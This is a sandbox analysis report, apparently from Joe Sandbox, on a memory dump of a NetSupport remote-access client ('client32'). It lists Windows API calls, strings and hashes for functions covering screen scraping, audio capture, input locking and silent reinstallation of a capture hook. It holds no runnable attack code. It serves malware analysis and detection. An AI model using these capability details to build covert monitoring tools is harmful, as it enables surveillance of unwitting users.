Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibrary$AddressProc$CloseCountFreeTick$CriticalErrorInterlockedLastLoadModuleOpenProcessSectionToken$EnterExchangeIncrementInformationLeaveObjectSingleVersionWait_memset
String ID: EnumProcesses$Kernel32.dll$ProcessIdToSessionId$psapi.dll
API String ID: 555709589-617439319
Opcode ID: 6601551a62c6655b9844b9d6922428e41488512c9701911acbe4fabc5c425f22
Instruction ID: 262d17c24bbf6f2da612a94a309c0121f13d8fe000f9c238363a8b38863c95ea
Opcode Fuzzy Hash: 6601551a62c6655b9844b9d6922428e41488512c9701911acbe4fabc5c425f22
Instruction Fuzzy Hash: 99A139B5D042AA9FDB249F558DC4ADEFBB4BB09304F4085EEE659E3240D7705AC08F61

Function 110CB540 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 210libraryloaderwindowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 110CB593
GetWindowRect.USER32(?,?), ref: 110CB60A
PtInRect.USER32(?), ref: 110CB651
PtInRect.USER32(?), ref: 110CB66D
SendMessageA.USER32(?,000000F3,00000000,00000000), ref: 110CB69D
PostMessageA.USER32(?,000000F5,00000000,00000000), ref: 110CB6B3
GetProcAddress.KERNEL32(?,CloseTouchInputHandle), ref: 110CB6D5
SetLastError.KERNEL32(00000078), ref: 110CB6EC
FreeLibrary.KERNEL32(?), ref: 110CB6F7
LoadLibraryA.KERNEL32(User32.dll,8F98CBB2), ref: 110CB709
GetProcAddress.KERNEL32(00000000,RegisterTouchWindow), ref: 110CB755
SetLastError.KERNEL32(00000078), ref: 110CB76A
FreeLibrary.KERNEL32(00000000), ref: 110CB775
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 110CB78E

Strings

RegisterTouchWindow, xrefs: 110CB74C
User32.dll, xrefs: 110CB704
CloseTouchInputHandle, xrefs: 110CB6CF

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryProcRectWindow$AddressErrorFreeLastMessage$CallLoadLongPostSend
String ID: CloseTouchInputHandle$RegisterTouchWindow$User32.dll
API String ID: 320639544-3447865954
Opcode ID: 2a44ef56ee1dbbeb8edf68e9a5e14f049a8591195f228b6ad0b50fed25ae15b5
Instruction ID: 9605b6dc208fd10234ee60dad22e38938f688f27b0e28ba42b0a12974398667d
Opcode Fuzzy Hash: 2a44ef56ee1dbbeb8edf68e9a5e14f049a8591195f228b6ad0b50fed25ae15b5
Instruction Fuzzy Hash: 34715DB1D006299BDB11CFA9CC88B9EBBF8FB48B44F10816AF915E7240DB749900DF61

Function 110F5260 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

SetCursor.USER32(00000000,?,00000000), ref: 110F532B
ShowCursor.USER32(00000000), ref: 110F5338
OpenEventA.KERNEL32(00100000,00000000,NSLockExit), ref: 110F5349
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,?,000000BF), ref: 110F5373
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F5392
TranslateMessage.USER32(?), ref: 110F53A3
DispatchMessageA.USER32(?), ref: 110F53AC
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000BF), ref: 110F53C0
CloseHandle.KERNEL32(?), ref: 110F53D3
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F53EB
TranslateMessage.USER32(?), ref: 110F53FE
DispatchMessageA.USER32(?), ref: 110F5407
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 110F541A
ShowCursor.USER32(00000001), ref: 110F5422
SetCursor.USER32(?), ref: 110F542F

Strings

NSLockExit, xrefs: 110F533E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Cursor$DispatchMultipleObjectsShowTranslateWait$CloseEventHandleOpen_malloc_memsetwsprintf
String ID: NSLockExit
API String ID: 3841144343-1578567420
Opcode ID: dd518574b12a09fee43cd1d10c696b8cce0b54379983b6342678565038567113
Instruction ID: 3ec78e4f8b4bb7706475246cd36eab5ea8ef41e4641662f994a15a4eba65df2e
Opcode Fuzzy Hash: dd518574b12a09fee43cd1d10c696b8cce0b54379983b6342678565038567113
Instruction Fuzzy Hash: 7B51BE71E0032AABDB11DFA48C81FEDB7B8EB44714F1085A5F615E7184EB75AA40CF91

Function 11157330 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetSubMenu.USER32(00000000,?), ref: 11157385
GetMenuItemCount.USER32(?), ref: 11157397
GetMenuItemCount.USER32(?), ref: 111573A1
_memset.LIBCMT ref: 111573B1
GetMenuItemInfoA.USER32(?,-00000001,00000001,?), ref: 111573D8
DeleteMenu.USER32(?,-00000001,00000400,?,?), ref: 111573F1
GetMenuItemCount.USER32(?), ref: 111573F8
_memset.LIBCMT ref: 11157409
wsprintfA.USER32 ref: 1115748B
IsWindowVisible.USER32(76931A30), ref: 111574A1

Strings

&%d %s, xrefs: 1115747F
C, xrefs: 1115741E
0, xrefs: 111573C4
0, xrefs: 11157414

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Item$Count$_memset$DeleteInfoVisibleWindowwsprintf
String ID: &%d %s$0$0$C
API String ID: 1944744249-1709426716
Opcode ID: 9eea2fadec3ce864281c6abc28e440551e002f1ced7b7bc10ecc030730f533e1
Instruction ID: dfb5db35ea2e9868c4485c82fb455626a52efbcf2d4823039bc7d40a6743781c
Opcode Fuzzy Hash: 9eea2fadec3ce864281c6abc28e440551e002f1ced7b7bc10ecc030730f533e1
Instruction Fuzzy Hash: ED51E571D006299BDB91CF64CC85BEEF7B8FF45318F408099E919A7241EB74AA81CF91

Function 11027570 Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 139processCOMMON

Download Yara Rule

APIs

Part of subcall function 11141440: GetVersionExA.KERNEL32(111EBE98,76938400), ref: 11141470
Part of subcall function 11141440: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111414AF
Part of subcall function 11141440: _memset.LIBCMT ref: 111414CD
Part of subcall function 11141440: _strncpy.LIBCMT ref: 1114159A

Part of subcall function 110B69B0: GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B69D6
Part of subcall function 110B69B0: GetProcAddress.KERNEL32(00000000), ref: 110B69DD
Part of subcall function 110B69B0: GetCurrentProcessId.KERNEL32(00000000), ref: 110B69F3

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

Part of subcall function 110EAE40: RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,00000000,00000000,?,?,1102FF05,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110EAE5C

GetSystemMetrics.USER32(00000043), ref: 11027644

Part of subcall function 11140F70: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11190A88), ref: 11140FDD
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110C55B), ref: 1114101E
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114107B

wsprintfA.USER32 ref: 1102766B

Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110C55B,76938400,?), ref: 1113F667
Part of subcall function 1113F5D0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 1113F687
Part of subcall function 1113F5D0: CloseHandle.KERNEL32(00000000), ref: 1113F68F

wsprintfA.USER32 ref: 11027695
_memset.LIBCMT ref: 110276D0
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00000044,?), ref: 11027725
CloseHandle.KERNEL32(?), ref: 1102773C
CloseHandle.KERNEL32(?), ref: 11027745

Strings

"%sWINST32.EXE", xrefs: 1102768F
System\CurrentControlSet\Services\Gdihook5, xrefs: 110275FD
screenscrape, xrefs: 110275D6
Trying to reinstall gdihook5, xrefs: 110276D7
"%sWINSTALL.EXE", xrefs: 11027665
AutoInstallGdihook5, xrefs: 1102762B
Client, xrefs: 110275DB, 11027630
/Q /Q, xrefs: 110276A9
D, xrefs: 110276DC

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreateFile$FolderModuleOpenPathProcess_memsetwsprintf$AddressCurrentMetricsNameProcSystemVersion__wcstoi64_strncpy
String ID: /Q /Q$"%sWINST32.EXE"$"%sWINSTALL.EXE"$AutoInstallGdihook5$Client$D$System\CurrentControlSet\Services\Gdihook5$Trying to reinstall gdihook5$screenscrape
API String ID: 1724249554-531500863
Opcode ID: 4067a18af75c85c8423e739b2753731fa6e8540c9292c3041df855ff12065183
Instruction ID: d878de74477830e73ac1ec4c0dc0b65156a0561db1c233112b23bd44fe56180c
Opcode Fuzzy Hash: 4067a18af75c85c8423e739b2753731fa6e8540c9292c3041df855ff12065183
Instruction Fuzzy Hash: 2B41F675E4032AAAE750DBA0CC85FE9F7B8AB14708F5041E6EA29B71C0EB70B544CB55

Function 110035A0 Relevance: 27.2, APIs: 18, Instructions: 171COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 110035E1

Part of subcall function 1113E8B0: SetBkColor.GDI32(?,00000000), ref: 1113E8C4
Part of subcall function 1113E8B0: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 1113E8D9
Part of subcall function 1113E8B0: SetBkColor.GDI32(?,00000000), ref: 1113E8E1

CreateSolidBrush.GDI32(00000000), ref: 110035F5
GetStockObject.GDI32(00000007), ref: 11003600
SelectObject.GDI32(?,00000000), ref: 1100360B
SelectObject.GDI32(?,?), ref: 1100361C
GetSysColor.USER32(00000010), ref: 1100362C
GetSysColor.USER32(00000010), ref: 11003643
GetSysColor.USER32(00000014), ref: 1100365A
GetSysColor.USER32(00000014), ref: 11003671
GetSysColor.USER32(00000014), ref: 1100368E
GetSysColor.USER32(00000014), ref: 110036A5
GetSysColor.USER32(00000010), ref: 110036BC
GetSysColor.USER32(00000010), ref: 110036D3
InflateRect.USER32(?,000000FE,000000FE), ref: 110036F0
Rectangle.GDI32(?,?,00000001,?,?), ref: 1100370A
SelectObject.GDI32(?,?), ref: 1100371E
SelectObject.GDI32(?,?), ref: 11003728
DeleteObject.GDI32(?), ref: 1100372E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$BrushCreateDeleteInflateRectRectangleSolidStockText
String ID:
API String ID: 3698065672-0
Opcode ID: 949de5423cbae4a7733fd7b98d42b8870f3f057ecdd653d309a45bb98925aeea
Instruction ID: 247f9fdd16ab91c4edc1bc6463a28d4ac53205bb168c799cb13fc2071466771e
Opcode Fuzzy Hash: 949de5423cbae4a7733fd7b98d42b8870f3f057ecdd653d309a45bb98925aeea
Instruction Fuzzy Hash: 55515DB5900319AFDB10DBA5CC85EBFF3BCEB98314F104A18F611A7291D671B9458BA1

Function 1100B2D0 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

_malloc.LIBCMT ref: 1100B326

Part of subcall function 1115F231: __FF_MSGBANNER.LIBCMT ref: 1115F24A
Part of subcall function 1115F231: __NMSG_WRITE.LIBCMT ref: 1115F251
Part of subcall function 1115F231: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F276

Part of subcall function 1100AC00: EnterCriticalSection.KERNEL32(000000FF,8F98CBB2,?,00000000,00000000), ref: 1100AC44
Part of subcall function 1100AC00: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1100AC62
Part of subcall function 1100AC00: GetProcAddress.KERNEL32(?,CancelIo), ref: 1100ACAE
Part of subcall function 1100AC00: InterlockedExchange.KERNEL32(?,000000FF), ref: 1100ACF5
Part of subcall function 1100AC00: CloseHandle.KERNEL32(00000000), ref: 1100ACFC
Part of subcall function 1100AC00: _free.LIBCMT ref: 1100AD13
Part of subcall function 1100AC00: FreeLibrary.KERNEL32(?), ref: 1100AD2B
Part of subcall function 1100AC00: LeaveCriticalSection.KERNEL32(?), ref: 1100AD35

EnterCriticalSection.KERNEL32(1100CA6A,Audio,DisableSounds,00000000,00000000,8F98CBB2,?,1100CA5A,00000000,?,1100CA5A,?), ref: 1100B35B
CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000,?,1100CA5A,?), ref: 1100B378
_calloc.LIBCMT ref: 1100B3A9
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,1100CA5A,?), ref: 1100B3CF
LeaveCriticalSection.KERNEL32(1100CA6A,?,1100CA5A,?), ref: 1100B409
LeaveCriticalSection.KERNEL32(1100CA5A,?,?,1100CA5A,?), ref: 1100B42E

Strings

Error. Vista AddAudioCaptureEventListener ret %s, xrefs: 1100B4DC
Error. Vista AudioCapture GetInstance ret %s, xrefs: 1100B483
Audio, xrefs: 1100B307
\\.\NSAudioFilter, xrefs: 1100B370
Vista AddAudioCapEvtListener(%p), xrefs: 1100B4B3
Vista new pAudioCap=%p, xrefs: 1100B493
InitCaptureSounds NT6, xrefs: 1100B44E
DisableSounds, xrefs: 1100B302

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CreateEnterLibrary$AddressAllocateCloseEventExchangeFileFreeHandleHeapInterlockedLoadProc__wcstoi64_calloc_free_malloc
String ID: Audio$DisableSounds$Error. Vista AudioCapture GetInstance ret %s$Error. Vista AddAudioCaptureEventListener ret %s$InitCaptureSounds NT6$Vista AddAudioCapEvtListener(%p)$Vista new pAudioCap=%p$\\.\NSAudioFilter
API String ID: 1843377891-2362500394
Opcode ID: b945757a71138b391f2906fc9e17844ebb842f782faf2e91cfed3de9f79adea5
Instruction ID: 85dc8e46805702255dcb094290c4b37000c5ec094fd01c80967026a15f69f654
Opcode Fuzzy Hash: b945757a71138b391f2906fc9e17844ebb842f782faf2e91cfed3de9f79adea5
Instruction Fuzzy Hash: 1D51D6B9E04A46AFE704DF64DC80B9EF7A8FB04369F10467EE91993640E731765087A1

Function 11121220 Relevance: 24.8, APIs: 4, Strings: 10, Instructions: 270threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0000001C), ref: 1112129E
GetCurrentThreadId.KERNEL32 ref: 111212D5
GlobalAddAtomA.KERNEL32(NSMRemote32), ref: 111214CA
GetVersionExA.KERNEL32(?,?,?,00000000), ref: 111214F3

Strings

IgnoreScrape, xrefs: 1112158A
ScaleToFitMode, xrefs: 11121526
View, xrefs: 1112132F, 1112142F, 11121517, 1112152B, 11121545, 11121563, 1112158F, 111215A3
ScaleToFitTilingFactor, xrefs: 11121540
MaxLag, xrefs: 1112155E
ShowBigBlits, xrefs: 11121512
Show, xrefs: 11121496
LimitColorbits, xrefs: 11121321
LegacyScrape, xrefs: 1112159E
NSMRemote32, xrefs: 111214C5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomCriticalCurrentGlobalInitializeSectionThreadVersion
String ID: IgnoreScrape$LegacyScrape$LimitColorbits$MaxLag$NSMRemote32$ScaleToFitMode$ScaleToFitTilingFactor$Show$ShowBigBlits$View
API String ID: 3042533059-2538903574
Opcode ID: 5bd09cb2871bc596c5b89a6959b3bf929c9ed97cd01168c3c3e30883bbea6cb8
Instruction ID: 450f01cdc74338d50b1639c7b2f8e4703eedc47399d2e1cb68d0c2ecfed8e7e3
Opcode Fuzzy Hash: 5bd09cb2871bc596c5b89a6959b3bf929c9ed97cd01168c3c3e30883bbea6cb8
Instruction Fuzzy Hash: E1B18CB8A00745AFDB60CF65CC84B9BFBF5AF84308F50896EE55A97240EB30A540CF51

Function 110270D0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 174windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

LoadLibraryExA.KERNEL32(PCIRES,00000000,00000000,00000009,?,?,?,?,?,?,1102E5D6,?,?,View,Client,Bridge), ref: 11027160
LoadIconA.USER32(00000000,00007D0B), ref: 11027175
GetSystemMetrics.USER32(00000032), ref: 1102718E
GetSystemMetrics.USER32(00000031), ref: 11027193
LoadImageA.USER32(00000000,00007D0B,00000001,00000000), ref: 110271A3
LoadIconA.USER32(11000000,00000491), ref: 110271BB
GetSystemMetrics.USER32(00000032), ref: 110271CA
GetSystemMetrics.USER32(00000031), ref: 110271CF
LoadImageA.USER32(11000000,00000491,00000001,00000000), ref: 110271E0

Strings

_License, xrefs: 1102710D
